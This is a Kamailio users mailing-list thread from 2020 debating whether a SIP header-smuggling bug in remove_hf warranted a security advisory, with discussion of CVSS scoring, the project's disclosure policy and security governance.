> One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] > If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug. > > Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors. > > So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy > > Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
> Publishing security vulnerabilities
> Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site. > > CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
Hello Sandro,
thanks for sharing the writeup and for the work you do.
I think everything has been said at least a few times in this thread, so I will not comment long. Just two remarks:
1. As mentioned before, if people want to participate in the project in this particular area, just let us know. So far there has been no feedback.
2. I think it would be good to take the proper time to analyse bugs before publishing about them. To quote from your post: “For example, consider these two separate fixes that were applied earlier this year. [..] Might they have security implications? Most certainly (although we’re not sure and have not verified).” I am sorry, but this sounds more like guessing to me. Especially if a compare it to some of your other work that I am aware of (e.g. were you provided proof of concept code for a vulnerability etc..).
Cheers,
Henning
-- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.comhttps://gilawa.com/
From: sr-users sr-users-bounces@lists.kamailio.org On Behalf Of Sandro Gauci Sent: Tuesday, September 22, 2020 11:32 AM To: sr-users@lists.kamailio.org Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception...
The ToC: 1. Introduction 2. A bit of background before diving in 3. Claim: this issue does not affect many organisations 4. Claim: custom headers are only known to internal users 5. Claim: if it’s an 18 year old bug, it can’t have been high risk 6. Claim: this should have been found if people were doing proper testing 7. Claim: infrequent advisories = project is not serious about security 8. Claim: limited number of advisories = project is more secure 9. Claim: if you’re serious about security, monitor the mailing lists 10. Claim: security experts should decide what is a security vulnerability 11. Discussion: when should the project publish an advisory? 12. Discussion: educational security role 13. Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote: Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.commailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.netmailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.commailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.commailto:miconda@gmail.com>; yufei.tao@gmail.commailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.netmailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.commailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org>; jbrower@signalogic.commailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.demailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.orghttp://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
_______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.orgmailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
On 22 Sep 2020, at 11:31, Sandro Gauci sandro@enablesecurity.com wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
Thank you, a very good post. Maybe something that we want to come back to as a community in an open brainstorm meeting rather than a formal meeting - to see what comes out.
Cheers, /O
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/
The ToC: Introduction A bit of background before diving in Claim: this issue does not affect many organisations Claim: custom headers are only known to internal users Claim: if it’s an 18 year old bug, it can’t have been high risk Claim: this should have been found if people were doing proper testing Claim: infrequent advisories = project is not serious about security Claim: limited number of advisories = project is more secure Claim: if you’re serious about security, monitor the mailing lists Claim: security experts should decide what is a security vulnerability Discussion: when should the project publish an advisory? Discussion: educational security role Moving forward Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci <https://keybase.io/sandrogauci> Our blog: https://www.rtcsec.com <https://www.rtcsec.com/> Other points of contact: https://enablesecurity.com/#contact-us <https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere@gmail.com mailto:davy.van.de.moere@gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>: One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com mailto:sobomax@sippysoft.com> Sent: Wednesday, September 2, 2020 9:15 PM To: Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> Cc: Daniel-Constantin Mierla <miconda@gmail.com mailto:miconda@gmail.com>; yufei.tao@gmail.com mailto:yufei.tao@gmail.com; Olle E. Johansson <oej@edvina.net mailto:oej@edvina.net>; Gerry | Rigatta <gjacobsen@rigatta.com mailto:gjacobsen@rigatta.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org>; jbrower@signalogic.com mailto:jbrower@signalogic.com Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw@skalatan.de mailto:hw@skalatan.de> wrote: Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org http://kamailio.org/ web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users _______________________________________________ Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org mailto:sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Hey Sandro, thanks for putting this together. I frankly have been a little puzzled and a bit disappointed by the lack of response from you on that topic. But then Daniel mentioned some "special relationship" he has with you, so I just wrote it off to old-good cronyism. I am glad that I was wrong on that matter.
I won't beat this dead horse too much again, just to reply to *many* here who said "Kamailio community has no time/resources to deal with this stuff". From my vantage point of view the amount of time Kamailio community as a whole spent on "debunking header smuggling as a real security threat" would probably be enough to create 5 security advisories in a better structured project. Whether or not any lessons have been learned and improvements made we will see the next time.
With that being said I'd probably go back to my usual read-mostly mode and wish everyone a good and productive week!
-Max
On Tue, Sep 22, 2020 at 2:34 AM Sandro Gauci sandro@enablesecurity.com wrote:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception...
The ToC:
- Introduction
- A bit of background before diving in
- Claim: this issue does not affect many organisations
- Claim: custom headers are only known to internal users
- Claim: if it’s an 18 year old bug, it can’t have been high risk
- Claim: this should have been found if people were doing proper
testing 7. Claim: infrequent advisories = project is not serious about security 8. Claim: limited number of advisories = project is more secure 9. Claim: if you’re serious about security, monitor the mailing lists 10. Claim: security experts should decide what is a security vulnerability 11. Discussion: when should the project publish an advisory? 12. Discussion: educational security role 13. Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin,
Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too - relying on headers alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere davy.van.de.moere@gmail.com wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big problems.
From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson oej@edvina.net:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev sobomax@sippysoft.com *Sent:* Wednesday, September 2, 2020 9:15 PM *To:* Henning Westerholt hw@skalatan.de *Cc:* Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1] If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.
Well, first suggestion after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me...
-Max
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Sandro-
I think your blog post on Kamailio security is well organized and well written. Thanks for your effort and time to both document and cover several perspectives.
What I have seen in formalized open source -- e.g. groups run by Linux Foundation -- is the community will form a security subcommittee, which has some measure of independence. Typically a "Technical Steering Committee" or similar, with elected members, will vet proposals and settle on one, and then authorize the security subcommittee to implement. Proposals typically include reporting methods, rules and timeframes on publishing / updating advisories, and keeping things up organized and up to date on a centralized website. There may also be security review and sign-off on mods or bug fixes in certain code areas. Something like Atlassian confluence, with Wiki pages that can be updated at any time by both developers and users is typical (it looks like the Kamailio wiki could be used). From what I've seen, in larger, formalized open sources the general idea is to be open and transparent about anything related to security -- proactive rather than reactive. It's reasonable to say that's because sub groups working in one part of the community don't want to be caught off guard by surprise vulnerabilities caused by another sub group. They want to trust the larger community is looking out for them.
I'm not saying Kamailio needs to be, or should be, this formalized -- some of the LF groups are hundreds of membes wiwth dozens of active projects -- but the "independent subcommittee" (or semi-independent) concept might be something to consider.
-Jeff
Quoting Sandro Gauci sandro@enablesecurity.com:
I know I am waking up an old debate by replying to this thread. Deeply sorry :-) Finally got around to writing up a blog post about this very thread where I (think) I spared absolutely no one, not even myself. My post is called "The great Kamailio security debate and some misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconception... The ToC:
- Introduction
- A bit of background before diving in
- Claim: this issue does not affect many organisations
- Claim: custom headers are only known to internal users
- Claim: if it’s an 18 year old bug, it can’t have been high risk
- Claim: this should have been found if people were doing proper testing
- Claim: infrequent advisories = project is not serious about security
- Claim: limited number of advisories = project is more secure
- Claim: if you’re serious about security, monitor the mailing lists
- Claim: security experts should decide what is a security vulnerability
- Discussion: when should the project publish an advisory?
- Discussion: educational security role
- Moving forward
Hope that it is at least interesting and perhaps even constructive! Best wishes, -- Sandro Gauci, CEO at Enable Security GmbH Register of Companies: AG Charlottenburg HRB 173016 B Company HQ: Pappelallee 78/79, 10437 Berlin, Germany PGP/Encrypted comms: https://keybase.io/sandrogauci Our blog: https://www.rtcsec.com Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
Well, you have defined one definitive line between being stupid and following some current practise :-) I like to think we as a project have an educational role as well. In this case explaining the bug we had and what it can cause. We should definitely add a warning along the lines you write too
- relying on headers alone is bad and not best current practise. /O
On 3 Sep 2020, at 10:14, davy van de moere davy.van.de.moere@gmail.com wrote: After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system where the security of the whole relies on the ability to remove (or only keep specific) custom sip headers, you will wake up one morning realizing a bunch of people in Palestine made a gazillion calls over your system to expensive destinations, bringing you to or over the edge of bankruptcy. Security should be multilayered, one header sneaking through should not give any big problems. From a security point of view, this could be called a 'normal' security risk, I think. It's a bit more than low as you can do more than just get some info, but it's not high, as you would need to have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E.
Johansson oej@edvina.net:
One thought - we may have to separate security vulnerability reporting from security advisory documents. I think in some cases, where a common use of a product can lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to send out an advisory and publish it in the same way. The problem with that is where the border is between just doing stupid things like taking SQL statements from SIP headers and issues like this that are harder to catch. We had a long and hard discussion about this in the Asterisk project many years ago - a very common dialplan construct (that was documented in many places) was indeed very dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan construct that existed in many, many production systems. In the end, if I remember correctly, the project issued an advisory and added a README about it. Maybe that’s a way forward. /O
On 2 Sep 2020, at 21:25, Henning Westerholt hw@skalatan.de wrote: Hello Maxim, ___ ___ ___have a look to the first sentence:___ ____ ____ ___“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to crash or lock up by sending messages to the server process.”___ ____ ____ ___So there is some limitation regarding vulnerability criticality defined in there. But of course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.___ ____ ____ ___Cheers,___ ____ ____ ___Henning___ ____ ____ ___FROM: Maxim Sobolev sobomax@sippysoft.com SENT: Wednesday, September 2, 2020 9:15 PM TO: Henning Westerholt hw@skalatan.de CC: Daniel-Constantin Mierla miconda@gmail.com; yufei.tao@gmail.com; Olle E. Johansson oej@edvina.net; Gerry | Rigatta gjacobsen@rigatta.com; Kamailio (SER) - Users Mailing List sr-users@lists.kamailio.org; jbrower@signalogic.com SUBJECT: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf___
____ ____ ___On Wed, Sep
2, 2020 at 11:30 AM Henning Westerholt hw@skalatan.de wrote:___
___Hello Maxim,___ ___ ___ ___thank you for the clarification, appreciated.___
____ ____ ___No worries, hope to have a
civilized discussion.___
___ ___
___Just one clarification, my comment regarding the advisory from 2018 was not meant as advertisement etc..___
____ ____ ___Point taken, I dramatized
of course to underline my point. ___
____ ____
___One suggestion to objectify the whole discussion, there exists a well-known and accepted metric for vulnerabilities: CVSS [1]___ ___If I calculate the CVSS score for this issue, it results in a medium level with score 5.8. But this is of course again (at least somewhat) influenced from my point of view to this bug.___ ___ ___ ___Some projects have a policy to only do a security announcement for vulnerabilities with score high and critical. For Kamailio this is not yet defined in a detailed way, due to the size of the project and other factors.___ ___ ___ ___So, If people in this discussion (or other people on the list) are interested in improving the project security processes – this wiki page with the current process might be a good starting point:https://www.kamailio.org/wiki/security/policy___ ___ ___ ___Please suggest your improvements to the existing process (preferable in a new discussion thread) on the sr-dev list. If you want to do it in private, feel free contact the management list.___
____ ____ ___Well, first suggestion
after having read it: to start actually following what's documented before any improvements are made. ;-) The policy says plain and simple (quote):___
____ ____
___Publishing Security Vulnerabilities___
___Kamailio will publish security vulnerabilities, including an CVE ID, on the kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories will also be published on the kamailio.org[1] web site. ___
___ ___ ___CVE
entries should be created for vulnerabilities in the core and major modules, for rarely used modules this is not necessary. If there are several security issues together in one release, they should be announced together. ___
___ ___ ___I might be missing
something obvious, but there is no "if" or "maybe" or "it depends". Any module that has been 18 years with the project qualifies to be a "major module" to me... ___
____ ____ ___-Max___
_____________________________________________________ ___Kamailio (SER) - Users Mailing List___ ___sr-users@lists.kamailio.org___
___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
_____________________________________________________ ___Kamailio (SER) - Users Mailing List___ ___sr-users@lists.kamailio.org___ ___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
___Kamailio (SER) - Users Mailing List___ ___sr-users@lists.kamailio.org___ ___https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users___
Links: ------ [1] http://kamailio.org/